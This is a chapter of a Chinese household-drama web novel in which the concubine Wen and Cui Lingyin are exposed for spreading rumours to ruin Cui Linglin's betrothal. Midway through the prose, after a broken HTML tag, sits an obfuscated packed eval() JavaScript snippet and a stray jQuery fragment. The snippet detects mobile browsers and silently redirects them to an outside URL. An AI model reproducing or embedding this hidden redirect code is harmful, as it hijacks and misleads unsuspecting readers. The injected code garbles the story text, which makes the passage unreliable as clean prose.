听着丫鬟的回禀,崔令胭捏着茶盏的手紧了几分,心里头诧异于陆秉之竟会派人细查此事,还直接将证据交到了祖母翟老夫人手中。
如此,无论翟老夫人是何心思,也不能再为着侯府的体面帮着崔令音遮掩这桩丑事了。
崔令胭说不出心中是何感觉,松了一口气的同时又有些酸涩难忍,外头流言蜚语那般多,祖母有自己的心思,从未想过替她做主,母亲戚氏更是没有宽慰过她半分,舅母今日过来借着此事想要质问于她,反倒是陆秉之这个外人,不仅没有因着这些流言蜚语断了这门婚事,反倒将证据交到了祖母跟前儿,替她解了围。
崔令胭的眼圈有些红,不管陆秉之为何如此,她都很是感激。
按捺下心中的种种情绪,崔令胭点了点头,放下手中的茶盏站起身来。
舅太太詹氏此时也回过神来,恼怒道:“竟是二姑娘崔令音?小小年纪竟然这般心狠手辣,胭丫头,舅母陪你一块儿过去,这事情牵扯到绍章,戚家倒要向老夫人说道说道,问问老夫人能不能给戚家一个说法。”
戚若柔跟在崔令胭和詹氏身后出了出云院,一路往翟老夫人所住的樨兰院去了。
一路上,她心里头很是不解,想不通为何崔令胭就这般好命,竟能惹得陆秉之帮她至此?事情查明,崔令胭便是最无辜之人,世人只会同情怜惜她,觉着她好不容易回了侯府竟还被庶出的堂姐这般算计。
戚若柔攥紧了手中的帕子,视线落在崔令胭身上,突然觉着自己这个表妹得了这桩婚事,兴许真就一下子叫她再也追不上,羡慕都羡慕不来了,难道是老天爷都怜崔令胭前些年受了委屈,一下子都要补偿给崔令胭吗?
忽然一阵风吹过来,戚若柔觉着眼睛有些疼,她闭了闭眼复又睁开,一步步跟着崔令胭和詹氏到了樨兰院。
樨兰院里坐满了人,大夫人戚氏、二夫人卞氏,三夫人高氏都来了,翟老夫人坐在上首,此时脸色铁青,文姨娘和崔令音则是跪在地上,俱是脸色苍白。
一旁站着的还有卫国公府窦老夫人的心腹,之前来府里探望过大姑娘崔令徽的孙嬷嬷。
崔令胭和詹氏她们刚一进来,众人的视线全都落在崔令胭身上。
翟老夫人蹙了蹙眉,眼底露出几分不快来,觉着崔令胭实在是太不懂事了,怎将舅太太詹氏和戚若柔也带了过来,难道不知家丑不可外扬吗?
崔令胭上前几步,福了福身子对着翟老夫人道:“胭儿见过祖母,方才舅母和表姐正好在胭儿那里,听到丫鬟回禀,便一起过来了。”
翟老夫人心中不快,可也不能当着这么多人的面怪崔令胭,便对着戚氏使了个眼色,戚氏带着詹氏坐在了一旁。
崔令胭也跟着站到了长房那边。
屋子里的气氛很是凝重,詹氏的视线落在崔令音身上,直接便道:“按理说侯府的事情不该我这个亲戚插手,可是外头那些流言蜚语事关胭丫头和绍章,我们戚家不能不管。当年姑奶奶派人将胭丫头送到戚家,说是要照顾泊哥儿,泊哥儿身子弱她一人精力不济,怕委屈了胭丫头,我这当嫂嫂的心中体谅她,便用心照顾了胭丫头这么些年,虽是外甥女,可在我心里头是将胭丫头当作女儿疼的。哪里能想到,这般费心照顾,好不容易带着胭丫头回京了,竟闹出这些个流言蜚语来,叫绍章名声受损。”
“不瞒老夫人,绍章那孩子自小要强,身上又有股子读书人的清高劲儿,我们戚家虽比不得侯府显赫,可也没叫绍章受过半分委屈。我便是不为着自己,为着戚家,也要为绍章讨要个说法,总不能叫这盆脏水泼在绍章身上,叫世人误会了他!戚家小门小户不想挟恩图报,可也不能任人恩将仇报,害了我戚家的子嗣!”
詹氏这话说得太过直接,全然不将戚氏和翟老夫人的脸面放在眼里。
可她对侯府有恩,帮着侯府养了这么多年的女儿,翟老夫人又不能说她满口胡言,只能耐着心思开口道:“舅太太言重了,我们崔家岂会如此寡恩,这事情老身定给舅太太一个交代。”
说完这话,她带着几分冷意看向了跪在地上的文姨娘,厉声问道:“文氏你为何做出这样的事情来,难道不怕牵连到音丫头?她自小养在嫡母名下,这才叫人高看她一眼,因着你这些举动,你叫外人如何看她,你是想害了她一辈子吗?”
翟老夫人这般质问,文姨娘如何不知老夫人是想叫她将崔令音摘出来,文姨娘膝下只崔令音这么一个亲生女儿,自然是恨不得替女儿做任何事情,此时哪怕老夫人不说,她也是想要一个人担下此事的,听老夫人也是这个意思,心里头也松了一口气,眼泪簌簌落了下来,对着老夫人重重磕了个头,才满是羞愧道:“都是贱妾一时猪油蒙了心,觉着三姑娘自小不在侯府长大,而音丫头虽是庶出,可自小记在夫人名下,也可当做嫡出,所以不免心高,觉着大姑娘因着寒症不能成婚,这婚事能落到音丫头身上,好叫音丫头能攀个高枝儿。贱妾心中如此盼着,盼来盼去这婚事却是落在了三姑娘头上,贱妾心中嫉妒不甘,这才生了心思,想要坏了三姑娘的名声。听说表少爷时常往外头去,就叫人盯着,那日表少爷在酒楼饮酒,之后贱妾就叫人散播消息,说是表少爷因着三姑娘要嫁去卫国公府的事情心中苦闷借酒消愁,如此才闹得京城里议论纷纷。”
“千错万错都是贱妾一人的错,和二姑娘不相干,二姑娘打小懂事规矩,若是知道贱妾的心思,断然不会允许贱妾如此行事,做出这样的错事来。贱妾知道酿成大错任由老夫人发落,只肯请老夫人怜贱妾替崔家诞下血脉,莫要迁怒二姑娘。”
她说完这话,将头重重磕在地上,没几下额头就红肿起来,地上也出现一滩血。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926916|157909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
翟老夫人才要开口,詹氏就冷声道:“当我们都是傻的呢,你一个姨娘,若不是替二姑娘办事,如何会大着胆子行此险事?要我说,定是二姑娘寻了你过去,安排你做这样的事情,事成了她乐得看笑话,若是事情败露,你这个姨娘不过也是个可以随意丢弃的棋子罢了。”
“二姑娘真是好狠的心,不然见着自己的生母如此狼狈磕头请罪,句句都是为着自己,竟也能一句求情的话都不说。果然,我们小门小户养出来的姑娘就是不如侯府自小养出来的心狠手辣。”
“若是二姑娘不肯认,文姨娘也不肯交代出二姑娘,非要护着二姑娘,那便报官吧。我寻思着文姨娘一个弱女子若是进了狱中,总不会能受住几样刑罚,抵死都不将事情的真相说出来吧。”
詹氏说着,起身对着站在那里的孙嬷嬷福了福身子,带着几分哽咽道:“嬷嬷是窦老夫人身边的人,想来老夫人也是想叫这事情水落石出,莫要不清不白的,叫胭丫头往后被人指指点点吧?”
“我养了胭丫头一场,虽只是个舅母,却也见不得给胭丫头留下这般隐患,叫她往后辩解不得,叫人看低了她,还望嬷嬷替胭丫头说句话,毕竟,胭丫头往后便是世子夫人,难道世子夫人的名声比不过一个侯府庶女吗?”
孙嬷嬷侧身避了避,没敢受她这一礼,心中却是了然,詹氏这是觉着戚家小门小户,想要借他们国公府的势呢。
最后一句世子夫人的名声难道还比不过一个侯府庶女的名声重要,更是彻底捅破了这层窗户纸。
孙嬷嬷看了一眼站在那里的崔令胭,暗想有这样一个舅母,崔令胭在戚家也未必过得有多高兴,定也是寄人篱下处处谨小慎微吧。
怪不得养出崔令胭这般处变不惊的性子,果然,人只有经历的多了,才会通透沉稳。
孙嬷嬷如此想着,将视线从崔令胭身上移开,对着翟老夫人福了福身子,道:“老夫人,我们卫国公府也想将这件事处理的清清楚楚,如此对侯府和国公府都好。”
如今谁还不明白这事情就是崔令音指使的,端看宁寿侯府舍不舍得交出崔令音这个庶女了。
其实,世子插手这件事情,也由不得崔家敷衍作假。
正如詹氏所说,未来的卫国公世子夫人难道还比不得一个侯府庶出的身份吗?
崔令音脸色一白,嘴唇微微颤了颤,眼底终于是露出几分慌乱来。
这个时候她才知道她的这些伎俩有多拙劣,她有些后悔叫文姨娘帮她做这件事情,如今文姨娘哪怕肯舍出性命将她摘出去,卫国公府也不会就此罢休的。
崔令音脑子里嗡嗡作响,视线落在了站在那里的崔令胭身上,哭着跪爬到崔令胭跟前,哭诉求饶道:“三妹妹,是二姐姐我一时心生嫉妒蒙蔽了心智,求三妹妹原谅我这一回,三妹妹......”